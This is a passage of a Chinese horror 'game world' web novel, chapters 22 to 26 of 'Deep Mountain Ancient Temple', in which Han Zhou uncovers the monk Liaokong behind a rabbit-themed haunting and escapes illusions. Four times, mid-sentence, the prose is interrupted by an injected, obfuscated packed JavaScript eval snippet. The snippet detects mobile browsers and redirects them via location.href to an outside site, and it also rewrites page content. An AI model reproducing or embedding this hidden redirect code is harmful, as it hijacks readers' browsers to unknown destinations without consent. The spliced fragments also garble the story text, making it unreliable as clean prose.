这是他老师送他的？莫非他老师是玩家？韩舟还欲再问，想了想又停住了，这有点打听人家隐私的嫌疑，而且现在时机不对，还是等从这个塔里出去再说。 二人一个握住剑柄，一个握住剑鞘，缓缓拾阶而上。在踩过不知道多少级台阶后，韩舟发现不对劲了，他们明明走了很久，为什么还是没走到塔顶？ 难道他们是遭遇了“鬼打墙”？这应该又是慈恩法师搞的鬼，塔顶到底有什么秘密，让慈恩法师这么害怕她知道… 22. 深山古寺（十） 慈恩法师这厮不想让她登上塔顶，但规则里没有说不可以进塔，所以他不能直接攻击她，而是制造各种幻象来干扰她前进。 韩舟看了一眼环绕着石柱向上延伸的阶梯，黑黢黢的仿佛看不到尽头…他们这是上了几层来着…她侧目瞧了一眼白言，看他的表情似乎也觉察到了，他微蹙了下眉，抬眼向她看来：“韩姑娘，我们应该是遇到鬼打墙了。” “嗯…”韩舟捏了捏下巴，根据她以前的怪谈游戏经历，所谓“鬼打墙”就是一种障眼法，慈恩法师将塔里的空间扭曲，让他们以为是在向上走，其实却一直在同一段阶梯上徘徊。 不，也许从一进塔开始，他们就进入了另一个空间，这里并不是原来的佛塔。 韩舟透过窗棂向外望去，窗外树影像海藻一般绵密湿冷，月光被窗棂切成碎片，如深海中漂浮的幽尘。 他们如同置身于海底。 “我们向下走。”韩舟当机立断道。 白言闻言，没有说话，只是脚步一转向下走去。 二人顺着阶梯快步而下，片刻后便见到了佛塔的入口。 韩舟微微驻足，仔细打量着佛塔外面的景象，塔外树影幽黑，清辉洒在冰凉的石阶上，一切皆如来时所见，只是…宛如一副定格的图画，她不再犹豫，迈开大步走出了佛塔。 下一刻，他们又回到了塔中，巨大的石柱默默伫立，螺旋式的阶梯绕着柱子而上。 韩舟扬起嘴角，自己猜对了。 这里才是真正的佛塔，来路即是去路。 原来慈恩法师的“尽早回头”是说这个，这个老和尚可真会玩“心理战”啊，知道越劝她回头她越不会回头，但如果真的不回头，就会永远被困死在那个虚假的空间里。 “走吧，我们去塔顶！”韩舟心情愉悦，脚步都变得轻快起来。白言看了她一眼，幽深黑眸里也露出笑意。 塔顶四面通风，明亮的月光直接倾泻进来，照的塔里几如白昼，朝南放着一个刻着密密麻麻铭文的石函，旁边是一个香炉，这个香炉倒不像佛殿里那样空着，而是香烟袅袅。韩舟走近一看，石函上刻着的最大几个字是：“慈恩法师之舍利子” 所以慈恩法师是已经死了？韩舟没感到太意外，但只是这样，需要一再阻止她知道吗？怪谈里的boss无非就是鬼魂或者被污染的怪物，这有什么值得隐藏的吗… 韩舟又耐着性子继续看下去，铭文里记叙了慈恩法师的生平，按照里面所说，这个怪谈世界的设定是比起佛教更尊崇道教，所以世上所建寺庙寥寥无几，灵古寺便是这为数不多的寺庙之一，但也门庭冷落，香火稀少。 慈恩法师一生戒行苦修，仁心济世，不仅精通佛理，还擅医术，某一年城外有几个村子爆发疫病，他便连夜下山查看疫情，在治疗百姓的过程中不幸也染上疫病圆寂了，被寺院僧人带回火化成舍利，供于佛塔中。 疫病…韩舟想起了上个怪谈里被瘟疫毁掉的村子，是巧合吗？ 不过这么说这个慈恩法师似乎是个大好人，那为什么死后会变成如今这副模样，还把灵古寺化成了怪谈，他是在村子里经历了什么吗？ 恶人变成鬼会越凶，就像新手关的鬼新郎，好人若是成了鬼…除非是经历了什么痛苦万分之事，否则断不会化为厉鬼。 “看来慈恩法师已成了邪祟…”白言的声音骤然响起，“我们除掉它，是否就能解救这里的人？” “不出意外应该是…”韩舟抬头看了白言一眼，只见他深深凝视着这个石函，面沉如水，眼神少见地有些冰冷。 “不过已经变成怪物的人是救不回来了…我是说那些长着兔脸的人。”韩舟补充道。 “我知道。”白言闭了闭眼，握紧了剑，“我们现在去找慈恩法师。” “等等…不要这么急…”韩舟连忙阻止，“现在是晚上，邪祟的力量肯定强于白日，我们等明天早上再去。”这是韩舟的经验之说，怪谈里的鬼怪一般都是在晚上比在白天更危险。而且白言他又不是玩家，就算他有道具，碰到慈恩法师也很容易被污染啊。 “你…最好别去，你又不是方士，这个事得交给我来。”刚说完这话，韩舟觉得四周空气的温度骤然下降，寒气侵入肌肤。 呵，慈恩法师这厮躲在哪儿偷听吧。 白言看了她一眼，神色复杂：“如此就拜托姑娘了。” 二人从塔顶下来的一路倒是无事发生，没见法师搞什么幺蛾子。不过他也不能搞事，他们又没有违反规则。 出了佛塔，外面依旧一片漆黑，韩舟忍不住回头望去，黑暗中耸立的佛塔如同一座巨大的墓碑，这里埋葬着慈恩法师的遗骨。 慈恩法师他…究竟经历了什么呢？也许铭文上记录的他生平之事都是杜撰的，他并不是什么良善之人。 韩舟和白言回了屋，和衣躺在了各自的床上，不过韩舟有些睡不着，她反复回想着刚才发生的事，脑海中闪过白言的那把配剑…该跟他打听下他老师的事了，虽然系统和黑猫掌柜都说这个游戏只有她一个玩家，但不排除它们也有搞错的可能…说不定他老师是曾经玩过这个游戏又通关的玩家。 酝酿了好一会儿措辞，韩舟开口问道：“白公子…令师，是什么样的人？”话音刚落，她感到一道清寒的目光落在自己身上，她侧过头，却见白言面朝着上方安静地躺着，并没有在看她。 “…韩姑娘很想知道吗？” “…我就是随便问问，我们可能是同行呢，以后可以相互交流一下经验。” 她听到白言轻笑了一声，“业师修道，那能斩妖除魔之剑也是他所赠。” 诶，原来是个道士啊…他称道士为老师，那他也是… “我不是道士，我只是跟随他修习过一段时间。”似是猜到了韩舟心中所想，白言主动解答了她这个疑惑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534248|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…根据石函铭文中的意思，这个世界崇道，就算白言跟哪个道士修行过也不是什么奇事。 那个道具难道是个巧合吗… 思索间，一股倦意袭来，韩舟觉得自己今天有点用脑过度，还是休息一下吧，她闭上了眼睛，意识开始模糊… 这个“极乐净土”似乎没有晨钟，韩舟一觉睡到天光大亮。阳光照在她的脸上，她迷迷糊糊睁开眼，一看外面日头高悬，赶紧掀开被子爬起来。她都点佩服自己了，第二天要去打boss还能睡这么沉。 随手捋了捋自己睡乱了的头发，韩舟出了屋，看到白言手持配剑站在院里。 韩舟叫了他一声：“白公子，我去打…我去见慈恩法师了，你就呆在这里哪都别去等着我，还有看好飞羽…飞羽他人呢？” 白言道：“还在房里未出来。” “他怎么比我还能睡…”韩舟吐槽了一句，走到隔壁房门，见房门紧闭，便敲了敲门，“飞羽？该起床了。” 房内静悄悄的无人应答。 …韩舟有种不好的预感，她没有犹豫，直接推开了房门。 房里一片狼藉，满地的鲜血和骨头，血里浸着一缕缕毛。不见白衣女子的身影，只有飞羽坐在血渍中抱着一大块肉啃着，衣角被鲜血洇湿。 …韩舟心里已经猜到了七八分，她试探地喊了一声：“飞羽？” 飞羽抬起了头，他一双眼里布满血丝，冲着韩舟露出一个古怪的笑容。 白言从外面走进来，看到飞羽这副形貌，先是一怔，随后拔出腰间的配剑。 飞羽猛然嘶吼一声，扔下手中的肉块，张开双臂向韩舟扑过来，韩舟微微侧身，双手紧扣住飞羽的肩膀，将他一下按倒在地。可飞羽剧烈挣扎，力大无穷，只挣扎几下韩舟就快控不住了，他的手指在空中乱抓，几次擦着韩舟的脸颊而过。 “白言，你愣着干嘛，快过来帮忙。”韩舟一边躲避飞羽的铁爪攻击，一边手忙脚乱努力按住飞羽身子，见白言站在那不动，急忙唤他。 白言俯下身，一手抓住飞羽胡乱挥舞的手臂，一手握紧配剑，只见寒光一闪，剑尖指向了飞羽的胸口。 “你干什么？你等等…”韩舟被他的操作一惊，这个人，杀同伴都不带眨眼的吗？ “业师说过…”白言面容覆上一层寒霜，目光冰冷，“被邪祟侵体之人，六亲不认，凶恶嗜杀，须尽快诛之。” 虽然说的很有道理，但你好歹犹豫一下啊…韩舟腹诽，这个白言，果然是个白切黑吧！ “你先别急…我有说过我救不了他吗…”韩舟幽幽开口。 白言冰冷的目光扫向她，“业师曾说被邪祟侵体之人回天乏术。” …看来白言这个老师，他没有清除污染的道具啊…“那是你老师没有办法，但我可以救他，你按住他，别让他跑了。”话语间，飞羽又挣扎起来，活像一条搁浅的鱼在不断扑腾。 23. 深山古寺（十一） 白言见韩舟一副信心十足的样子，默然片刻后，收剑入鞘，双手紧紧按住乱扑腾的飞羽。 飞羽的脸因挣扎而涨得通红，不时发出嘶吼声，眼中血丝如虫子般不断蠕动，面颊上开始生出一根根白毛。 韩舟眼看情况不妙，迅速从道具栏取出姻缘签，往飞羽额头上贴去，谁知飞羽的脑袋不停晃来晃去，竹签刚触到他的额头就猝然被撞开。 …韩舟抿了抿唇，一手捏紧飞羽的下巴，一手攥着姻缘签，趁他发出嘶吼声时，将整个签塞进他张大的嘴里。 一旁的白言抬头瞧了她一眼，目光带着丝震惊。 韩舟面色稳如泰山，双手捧住飞羽的脸，手指用力按住他两颐，保证竹签不会被他吐出。过了会儿，那支签“撕拉”一声冒出几缕白烟，化成光点消散。飞羽的挣扎之力越来越弱，眼中血丝逐渐隐去，露出了干净的眼白，脸上刚生出来的白毛也一根根脱落。 韩舟呼出一口气，松开了手。只见飞羽两眼一翻，脸上尽数血色褪去，身体瘫软在地，竟是昏过去了。白言立即伸手将昏倒的飞羽揽在怀里，望向韩舟，张了张口似是想问什么，却终究什么也没说。 韩舟看着两眼紧闭面白如纸的飞羽，心道他看起来被污染的程度还挺深…只差一点就要变成怪物。 清除污染的道具运作原理就是将人的意识检测一遍，再将意识中被污浊的部分消除，这对大脑会有一定伤害，可能产生副作用。被污染的程度越重，副作用就越大，不过这个因人而异，有的人精神力很强，不仅不容易被污染，被污染后再清除也能迅速恢复，但显然飞羽不属于此类，他就是因为大脑承受不住才会晕厥。 可飞羽为什么会受到如此重的污染？是因为昨晚在斋堂吃的那些肉吗？韩舟内心揣着一团迷雾，但她没时间慢慢思考这些了。 她随即站起身道：“飞羽没有大碍了，只是需要休息一下，你留在这里看好他，我去找慈恩法师。” “我也去…”白言刚吐出几个字，想到怀中的飞羽，便停住了，面露为难。 韩舟对他甜甜一笑：“放心，驱鬼我熟，驱个慈恩法师就是小意思。”说这话的时候，她忘了之前对白言说过她驱鬼之术只够自保。 白言眼里似有担忧之色，他沉默良久道：“姑娘小心。” “你也是，保护好自己，撑到我除掉慈恩法师。”韩舟说着便迈开步子，跨出门槛。 外面居然起雾了。 顷刻间，灰白的雾气越来越浓，逐渐将整个庭院笼罩。院中树木花草都隐没在雾中，天地间白茫茫一片，看不清前方的道路。 “慈恩法师这是要放大招啊…”韩舟不放心地回头看了白言和飞羽一眼。 白言手里有道具，应该还能支撑一时半刻，自己得尽量速战速决。她这么想着，向前走了几步踏入雾气中。 大雾弥漫，如烟似涛，远处的佛殿都已消弭无踪。韩舟握紧手中板砖，缓步前行，周遭死一般的寂静，甚至听不到风吹草木之声。 韩舟在雾中穿行了好一会儿，才意识到一个问题：她分不清去慈恩法师住所的方向了。 哦豁，尴尬。 她思忖半晌，深吸一口气，扯着嗓子高喊了一句：“慈恩法师，你有空出来聊一聊吗？”喊完后便竖耳凝神倾听。 无人回应，只有她一人的声音在雾中回响。这办法行不通啊…韩舟叹了口气，看来自己只能继续摸瞎了。 就在下一瞬，茫茫雾气中升起了一对对闪着幽光的红点。那些红点密密麻麻，遍布四周，像极了雪白纸上的一滴滴红墨。 韩舟呼吸一滞，这些是什么鬼东西？ 雾气中的红点闪烁几下，又接连隐去，短短一刹又只剩下一片灰白。但韩舟知道，那些东西不是走了，而是如毒蛇一般隐藏起来，伺机咬上自己一口。 她敛声屏息，严阵以待，一片死寂中，她听到背后传来稀疏的脚步声。 韩舟猛然回头，身后的丝丝雾气中浮现出一张布满白毛的脸。 这张脸似人又非人，血红的眼，三瓣唇，嘴唇像被撕裂开一般咧着，在雾气环绕下说不出的阴森可怖。 韩舟怔了怔，这个兔脸人绫罗裹身，衣上的饰品金灿灿得晃眼，竟是有些眼熟。 沈蟠？ 不怪她印象深刻，是这个沈蟠穿的实在骚包，让人过目难忘。 “沈蟠”越走越近，很快行至韩舟面前，在离她大概有一米距离时停住，红眼凝视她许久，咧嘴露出一个狞笑。 韩舟不再迟疑，举起板砖一下拍过去，砖头却穿过他的身体，“沈蟠”骤然化作一道白光消散，他原来站着的地方凭空出现一只毛茸茸的白兔。 那只白兔用人类一般的眼神盯着她，韩舟向白兔的方向走了几步。它两只耳朵立了起来，转身跑入白雾中。韩舟当即追了上去，可白兔跑得飞快，不一会儿就失去了它的踪影。 原来那些红点是兔脸人的眼睛…雾更浓了，很快三米之内的东西都变得模糊不清，韩舟孤零零地站在雾中，遍体生寒。 韩舟也很想像某些电影的主角那样，把眼睛蒙上唰唰一通乱杀，就能把敌人全部干掉，但是她实在没这个水平，她只是力气大，又不是真的会功夫… 理想是丰满的，现实是残酷的。韩舟哀叹一声，这是b级副本吗？怎么这么难…确定不是s级？ 就在此刻，韩舟右耳边传来窸窣声，她猛地向右侧看去，肩膀附近有一双血红的眼睛漂了起来，浮在半空中，幽幽似鬼火。她心惊肉跳，一板砖就拍了过去，只听“咣当”一声，这回好像真的砸中什么东西，触感软乎乎的。 只见白光一闪，地上又出现了一只红眼白兔，它两只前爪微微抬起又放下，后脚使劲蹬了一下地。 韩舟不解，兔子蹬脚代表什么来着？ 这只兔子见韩舟没有反应，又蹬了一下腿转身跑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558111|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这回韩舟没有追过去，索性原地抱膝坐下，敌不动我不动，敌动了再说。 就在她坐在地上的这段时间，周围不断有红点闪烁，窸窣声不绝于耳，她只当没有看见也没听见。 不知过了多久，红点和声音都消失了。 前方不远处有一团雾气向两边散开，露出一条通幽小径，隐隐有光落在这条小径上。 这是在…邀请她过去？慈恩法师这厮终于愿意见她了？ 韩舟知道这八成是个陷阱，可除此以外也没别的办法了。她爬起身，拍了拍衣裳上的灰尘，脚步坚定地踏上那条小径。 两侧依旧是浓雾环绕，唯有这条小径清晰可见，一条光束照在青石路上，仿佛在指引她前进。 走了许久，四周的雾气越来越稀薄，渐渐变得像一层白纱，到最后连这层薄纱也被揭去，前方的景象清晰地呈现在韩舟眼前。 一片翠竹掩映，风吹叶响，幽静雅致，这里是慈恩法师的庭院。 院中有一张石桌，桌上摆着局残棋，有落叶飘在棋盘上。石桌旁放置一张醉翁椅，一个穿着赤色袈裟的小沙弥侧身躺在椅上，怀里抱着只红眼白兔，正在闭目养神。 韩舟定睛打量这个小沙弥，他看着不过十三、四岁，比飞羽的年纪还小，白净的脸蛋带着点婴儿肥，显得一团稚气。 韩舟觉得他很眼熟，好像在哪里见过…她认真回忆了半天，终是想起来了，是在佛塔下。可是他为什么在这里，慈恩法师呢？ “小师父…”韩舟开口唤了他一声，心想会出现在这里的必是鬼怪无疑，不过她有一肚子疑问，想先问个清楚。 小沙弥睁开了眼，支起身子，一双眼睛甚是清亮，他眼珠的颜色很浅，在阳光照耀下像是剔透的琉璃。他看着韩舟，露出一个天真无邪的笑，那是未经世事的孩子才会有的笑容。 “阿弥陀佛，请问施主来此，有何贵干？”小沙弥双手合十笑着问道。 …他还演起来了，没事，韩舟决定陪着他演，她也双手合十，语气中充满恭敬道：“打扰了，我姓韩名舟，敢问小师父法号。” 小沙弥清澈的眸子笑意盈盈，他一字一句开口： “无量光。” 无量光佛，是西方极乐世界的创造者。 …韩舟翻了个白眼，这小孩儿中二病犯了吧… 小沙弥见韩舟如此表情，眸子更亮了，他哈哈一笑，又道：“施主，跟你开玩笑的，贫僧法号了空。” 并不觉得这好笑，韩舟静默片刻，单刀直入问道：“请问了空小师父，慈恩法师呢？” 了空收敛了笑容，他的眼睛亮闪闪的，眼神却透着丝古怪：“慈恩法师…你不用找他了，他早已圆寂，魂归真正的西方极乐世界。” 真正的…韩舟露出一个冷笑：“原来你也知道这里不是真正的极乐净土？” “当然…”了空又展颜笑道，“因为这里是贫僧创造的极乐净土。” 24. 深山古寺（十二） “真正的…”韩舟捕捉到这个词，不禁冷笑道：“原来你也知道这里不是真正的西方极乐世界？” “当然…”了空抱着白兔走到杂草丛旁，蹲下身，从草丛中折了一根草，递到白兔嘴边，“因为这里是贫僧创造的极乐净土。” “你创造的？”韩舟反应过来，所以眼前这个了空小和尚才是怪谈源头？那慈恩法师算什么？之前在“表世界”和她一起喝茶的又是谁？ “施主，贫僧知道你有很多疑问。但…”了空慢条斯理道，“贫僧劝你不要去追寻所谓的真相…” “你只要知道，这里的人都很快乐，而这份快乐是贫僧赐予他们的…”了空怀里的兔子咀嚼着草叶，发出沙沙的声响，又有几只兔子从草丛中钻出，围在了空脚边转圈圈。 “别急，一个一个来…”了空抚摸着脚边兔子的耳朵，眼里满是疼爱。 韩舟看着这满地的白兔，从一开始，这个怪谈就频频出现兔子，斋堂里的兔肉，被污染的兔脸人，无处不在的“兔子”到底代表了什么…“小师父，你觉得这里的人真的快乐吗？恐怕他们连人类的情绪都没有了，根本不知道快乐是什么…” 韩舟刻意把“人类”两个字咬得很重。 “人类？”了空莞尔一笑，语气里满是不在乎，“人就一定快乐吗？众生皆平等，做一只兔子，心无杂念，回归自然，不是也美事一桩？” 好有道理…韩舟竟无法反驳，她想了想，道：“既然众生平等，那为什么这里还要吃兔子肉？佛门不是不许杀生么？” 了空看向他，眼中露出奇异之色，“施主这话说得奇怪，人在这里可以吃兔肉，但他们本身也会变成兔子，这怎么不算平等呢？” 韩舟一噎，差点被这个逻辑打败了，她胸中好奇如猫爪挠心一般，“可是…为什么偏偏是兔子？怎么不是鱼或鸟…” “施主想知道？”了空嘴角扬起，玻璃球一般的眼珠在阳光熠熠生辉。 “想…”韩舟话还没说完，一股浓郁的檀香味扑面而来，熏得她眼前一黑。 她缓缓睁开眼，发现自己置身于一个破旧的茅草屋里，这间屋非常简陋，除了一张逼仄的床再无其他摆设，屋顶破了好几个洞，有丝缕阳光从洞中溢出。 床上躺着一个妇人，面色苍白，唇无血色，一动也不动，有个五六岁的瘦弱小孩跪坐在床边，神情呆滞，面颊上泪痕斑驳。 韩舟走近几步，发现这个孩子的眉眼很熟悉…他是…了空？ 韩舟当即心中了然，她应是又进入了过去的回忆。 “阿弥陀佛…”一个已年近古稀的老和尚缓步走近屋里，靛蓝色的袈裟上已满是破旧的补丁，脖子上挂着一大串佛珠，一双清亮的眼睛透出温和慈悲之色。 来人竟是慈恩法师。 他走到孩子面前，粗糙宽大的手掌抚上孩子的额头：“孩子，令慈已故，请你节哀…她生前曾把你托付给老衲…以后就由老衲来照顾你。” 孩子暗淡的眼睛里浮现出一丝光芒，他抽泣了两下，随后扑进慈恩法师的怀里号啕大哭起来。 慈恩法师轻拍着孩子的脊背，温言道：“莫哭…从今天起，你就叫了空。” 这就是了空关于慈恩法师的记忆？在他的回忆里，慈恩法师分明是一个很慈祥的人。 画面一转。 这间屋子里光线很暗，房门紧闭，了空此刻正坐在一个蒲团上打坐念经，看外表似乎长了几岁。 韩舟在屋里绕了一圈，发现这是间再普通不过的禅房，她索性另寻个蒲团坐了下来，等着看这段回忆又想告诉她什么。 “咕咕”一声响起，韩舟眨了眨眼睛，这是…五脏庙的抗议之声？只见了空停止念经，捂住肚子愁眉苦脸。 “不就是一只兔子吗，至于吗，我已经饿了两顿了…”了空苦着个小脸，“而且…我也没吃多少…” “了空，你可知错？”门外传来慈恩法师温和的声音。 “弟子知…可是师父…”了空的声音里满是不甘，“弟子真的很饿啊…弟子只吃了一口，就一口！” 外面传来一声叹息，“既是如此，那你就再饿上几顿吧…”慈恩法师的脚步声渐渐远去。 “师父！”了空扑到门边，捶着门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567098|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫喊道，“师父，弟子知错了，弟子再也不敢了…” 可慈恩法师已经离去，没法回应他。了空跪坐在门边，久久未动，神情愣愣的，不知在想什么，肚子犹自发出“咕咕”叫声。 外面天色暗了下来，一轮圆月升起。 韩舟的鼻子又嗅到一股浓郁的檀香味，眼前猝然一黑，再见光明时她回到了慈恩法师的庭院中，了空这会儿坐回了醉翁椅上，双手抱着兔子，一派悠然自得。 “所以…”韩舟定了定神，回想着刚才在回忆里看到的情景，“你是因为偷吃兔肉，被慈恩法师罚了，一直怀恨于心，才创造了这个世界？”看来她之前所见的慈恩法师都是这个了空幻化出来的假象。 “你的愿望是…可以随心所欲吃兔肉？” 怪谈的诞生大多来源于各式各样的愿望，这些愿望通常很难实现，也可以称之为执念。这些执念被污染后，就扭曲成了可怕的存在。比如《血色嫁衣》里的鬼新郎是想要和赵小姐成婚，《遗失村落》里的村民想要治好疫病活下去… 但这个小和尚的愿望似乎也太癫了点…只是想吃兔肉的话，他可以还俗啊！ 韩舟又想翻白眼了… 听到韩舟的提问，了空少见地没有在笑，他一手抚上怀中兔子的绒毛，手背上隐隐有青筋凸起，兔子在他的手里扑腾了两下。 “施主既然已经知道了真相，可以安心离开此地了。” “我倒是想走…”韩舟抱起手臂，一脸不悦，“可是还没完成任务，我走不掉啊…” 说到这，韩舟扯了扯嘴角，“只有杀了你…我才能离开。” 了空抬眼望她，神色有些冷，片刻后又展颜一笑：“可惜，在这个极乐净土，施主是杀不掉贫僧的…” “施主，贫僧知你非现世中人，也不想伤害你，请你速速离去，不要执迷不悟。” “执迷不悟的是你吧…想吃个兔子肉折腾了一帮人…”韩舟嗤笑一声，“什么极乐净土，我看分明是无间地狱…” 韩舟冲他摇了摇手中的板砖，语调轻松：“杀不掉你？不试试看怎么知道呢？” 25. 深山古寺（十三） “小舟…” 韩舟听到有人在叫她，迷迷糊糊睁开眼，映入眼帘的是天花板上的吊灯，这吊灯看着好熟悉… 韩舟一下清醒过来，发现自己躺在一张床上，她坐起身环顾四周，靠窗是一张白色书桌，桌上堆满了毛绒玩具，旁边是一张巨大的书橱。 这里是…她的卧室？ “小舟，该起床了，你看看这都几点了。” 韩舟寻着声音望去，一个熟悉的中年女人站在房门口，赫然是她的母亲。 怎么回事？自己这是从游戏里出来了？明明刚才还在灵古寺里大战鬼怪呢… 而且就算从游戏里出来了，不应该出现在宿舍里吗？ 只见母亲皱着眉头，嘴里唠叨个不停：“放假在家也不能老睡懒觉，快起来，等会儿吃中饭了。” 恩，这个唠叨劲儿是自家老妈没错了… 韩舟应了一声，从床上爬起来，拿起床头柜上的手机看了看，时间显示10月6日早上10点半。 她想起来了，今天是中秋节，学校放假。 所以自己是趁着放假回家来了？可是她明明记得自己是在宿舍… 韩舟摸了摸后脑勺，感觉有点头晕。 老妈见她起来了，便从房门口离开。她爬下床，走到书橱前，随手抽出一本书，翻阅几页，发现上面有翻折的痕迹，正是自己以前看书时不小心压到的。 她看了看书桌，上面的玩具都是自己从小到大收集的，是陪伴了自己好多年的伙伴。 这里确实是自己的房间。 只是…她看到毛绒玩具堆里夹着一只兔子仿真玩偶。这个玩具是什么时候买的？怎么自己没有印象？ 她将兔子玩偶拿起瞧了瞧，这只玩偶做的很逼真，除了不会动就像一只活的兔子，红色的玻璃珠眼睛在阳光下闪烁着光芒。 她看了半天没看出有什么特别，又把兔子玩偶放了回去。 “妈，我桌上那个小兔子玩偶是你买的吗？” “什么小兔子？我没买过。” 不是老妈买的？那是从哪来的？她爸就更不会给她买玩具了。 就在此刻，韩舟听到背后传来“咚”一声，是什么东西撞击桌面的声音，她转过头看去。 兔子玩偶消失了。 …韩舟揉了揉眼睛，是自己眼花了？ 她冲到桌前，四处翻找了下，兔子玩偶真的不见了，仿佛从来没出现过。 韩舟捏了捏手臂，觉得有点冷，这里…真的是自己的家吗？ 她走出房门，听到厨房里传来“梆梆榜”剁肉声还有“咕嘟咕嘟”烧开水的声音，老爸不在家，不知道去了哪里。 “小舟，别在那傻站着，把客厅收拾一下。”老妈的声音从厨房里传来，听着无比正常。 “好…”韩舟打量了一圈客厅，每一个家具都让她感到熟悉又陌生，秋日的阳光透过玻璃窗照射进来，却并没带来多少暖意。 “妈，我爸呢？” “你这孩子，不是跟你说过，你爸出差了，不回来过节…” “哦…”韩舟嘴里附和着，心里却想自己根本不记得这事，她连自己回家了都没印象。 要不出家门看看？ 她走到客厅门口，手刚碰上门把手… “小舟！”她回过头，看到母亲出了厨房，身上围着一条围裙，手里举着一把沾满血的菜刀，面色不愉：“都快吃饭了，你要上哪去？” “我…我就出去逛一小会儿…” “别逛了，你还没洗脸刷牙吧？还不快去。” “知道了…”迫于自家老妈的威慑，韩舟灰溜溜地钻进了洗手间。 把挤满牙膏的牙刷塞进嘴里，韩舟看着镜子中的自己，头发乱蓬蓬的，穿着熟悉的睡衣，不知道是不是没睡好，两只眼睛有点红。 这究竟是怎么回事？如果这一切是假的，细节却又如此真实。 韩舟低头朝水池里吐出一口漱口水，又抬起头，随即惊讶地瞪大双眼。 她看到镜子里的自己笑了，嘴边还粘着未洗掉的牙膏泡沫。 可自己明明没有笑…韩舟的心脏剧烈跳动起来，等她再定睛看去，又一切如常，只是…她的眼睛里出现了几根血丝。 韩舟倒退了几步，不对劲，这一切都不对劲。 “梆梆梆”的剁肉声不断从隔壁厨房传来，过了一会儿又变成“滋啦”一声，是什么东西下油锅的声音。 韩舟心如擂鼓，她走出洗手间，蹑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582034|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手蹑脚靠近厨房。 厨房里传来一股油腻的肉香。 她向厨房里望去，看见母亲背对着她正在炒菜，似是听到她的动静，母亲转过头看她，笑了笑：“别急，马上就好，等着吃饭吧。” 韩舟被这个慈祥的笑晃了下神，说起来，她也是有段时间没吃到母亲做的饭了… 她回到客厅，走到饭桌前坐了下来，不知为什么，胃里忽然有种强烈的饥饿感，像火烧一样蔓延开，让她全身发热焦躁不安，她脑海里有个声音传来：我好想吃肉… 韩舟拍了拍自己的脸颊，试图压制这种渴望。 过了不到十分钟，母亲端着一盘肉走了出来，她将盘子放在桌上，手里拿着一双筷子向她递来。 “小舟，尝尝妈妈的手艺。” 韩舟将目光放在盘里的肉上，这盘肉红亮油润，上面点缀着红椒，看起来十分可口。 她感到自己口中的唾液快速分泌着，身上每一个细胞都叫嚣着：“好想吃肉，我要吃肉…”她接过母亲手中的筷子，夹了一块肉，缓缓向口中送去… 不对劲…韩舟狠狠咬了一下舌尖，一阵刺疼传来，大脑如被凉水泼了一下清醒。 她把筷子扔在桌上，猝然站起身。 自己差点被污染了。 她望向面前这个长得很像母亲的“人”。 “你究竟是谁？” “母亲”原来慈爱看着她的眼睛骤然间变成一片血红，嘴唇撕裂般张开，她缓缓举起了手中的菜刀。 “为什么不吃…是妈妈做的肉不好吃吗？” 韩舟脑中疯狂鸣笛，她转身向门边跑去，没跑几步，听到背后传来利刃破开空气的声音。 韩舟猛一低头，菜刀从她的头顶划过… 她脚下未停，大步流星，很快来到了门边，手握在门把手上，用力一拧。 门开了，外面是熟悉的单元楼，对门大门上贴的“福”字已经褪色，残破不堪，摇摇欲坠。楼道里一片漆黑，萦绕着一股腥臭味。 门口铺着一大滩血渍，有些发黑。 “小舟，别走，留下来吃妈妈做的菜好吗？”身后传来“母亲”温柔的声音。 韩舟没有丝毫犹豫，她大步踏出了家门。 26. 深山古寺（十四） “韩舟！” 韩舟猛地一下惊醒，发现自己睡在一辆行驶的大巴车上，车窗外是盘山公路，她旁边坐着个留着齐耳短发的女人，打扮得十分干练，正笑眯眯地看着她。 这又是哪里？韩舟一脸懵。 “怎么，才过三天就不记得我了？亏我上个副本那么费心费力带你过关。”短发女人把沾在脸上的碎发拨到耳后，冲着韩舟眨了眨眼睛，“脸色这么差，是不是又进怪谈被吓坏了？这次我可不管你咯。” 